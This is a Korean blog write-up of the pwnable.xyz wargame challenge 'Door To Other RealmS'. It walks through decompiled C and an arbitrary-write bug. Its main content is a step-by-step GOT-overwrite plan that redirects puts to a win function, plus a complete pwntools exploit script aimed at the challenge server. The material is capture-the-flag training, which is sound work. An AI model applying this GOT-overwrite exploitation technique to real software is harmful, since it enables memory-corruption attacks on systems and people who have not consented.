int __cdecl main(int argc, const char **argv, const char **envp)
{ int door; // [rsp+4h] [rbp-Ch] int realm; // [rsp+8h] [rbp-8h] setup(); puts("Door To Other RealmS"); door = 0; realm = 0; ::door = rand(); while ( 1 ) { switch ( read_int32() ) { case 1: if ( ::door == realm ) { printf("Door: "); door = read_int32(); printf("Realm: "); realm = read_int32(); *(_DWORD *)realm = door; ::door = 0; } break; case 2: if ( ::door ) { printf("Realm: "); realm = read_int32(); } break; case 3: if ( ::door && realm ) *(_DWORD *)realm = door; break; case 4: return 0; default: puts("Invalid"); } } } |
전역변수 door의 초기값은 랜덤으로 정해지고, 지역변수 door와 realm은 0이다.
1번 메뉴를 실행하면 ::door가 0이 되기 때문에 2번과 3번 메뉴를 더 이상 실행할 수 없게 된다. 즉, 원하는 위치에 4바이트의 NULL을 무제한으로 쓸 수 있고, 이후에 ::door에 NULL을 쓰고 원하는 위치에 원하는 값을 1번 쓸 수 있다.
아래 시나리오로 진행하면 된다. 모든 함수의 GOT가 libc와 연결되어 있기 때문에 반복문을 돌면서 실행되지 않는 함수를 찾아 상위 4바이트를 0으로 바꾸고 주소를 win으로 연결시켜줘야 한다.
1. 2 > realm을 0x60101C (HIDWORD(&puts@got)) 로 설정한다.
2. 3 > 0x60101C에 NULL을 쓴다.
3. 2 > realm을 0x601245 (&door+1) 로 설정한다.
4. 3 > 0x601245에 NULL을 쓴다. 이 과정 후 door의 값은 0부터 0xFF 중 하나가 된다. (door를 바로 0으로 만들어버리면 2번 메뉴가 실행되지 않는다)
5. 2 > realm을 0부터 0xFF까지 돌리면서 1번 메뉴를 시도한다.
6. 1 > 0x601018 (LODWORD(&puts@got)) 에 0x400969 (win) 를 쓴다.
7. 0> puts로 win을 실행한다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def itob(i) : return str(i).encode() def Open(realm:int) : p.writeafter(b'> ', b'2\x00') p.writeafter(b': ', itob(realm)+b'\x00') def Enter() : p.writeafter(b'> ', b'3\x00') def exploit() : Open(0x60101C) Enter() Open(0x601245) Enter() for i in range(0, 0x100) : Open(i) p.writeafter(b'> ', b'1\x00') r = p.read(4) if r == b'Door' : log_info('door = {}'.format(i)) p.writeafter(b': ', itob(0x400969)+b'\x00') p.writeafter(b': ', itob(0x601018)+b'\x00') break p.writeafter(b'> ', b'0\x00') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30039, fam='ipv4') else : p = process('./challenge') exploit() |
Last update: 5/6/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / note v3 (0) | 2020.05.11 |
---|---|
pwnable.xyz / world (0) | 2020.05.11 |
pwnable.xyz / child (0) | 2020.05.06 |
pwnable.xyz / Car shop (0) | 2020.05.06 |
pwnable.xyz / words (0) | 2020.05.05 |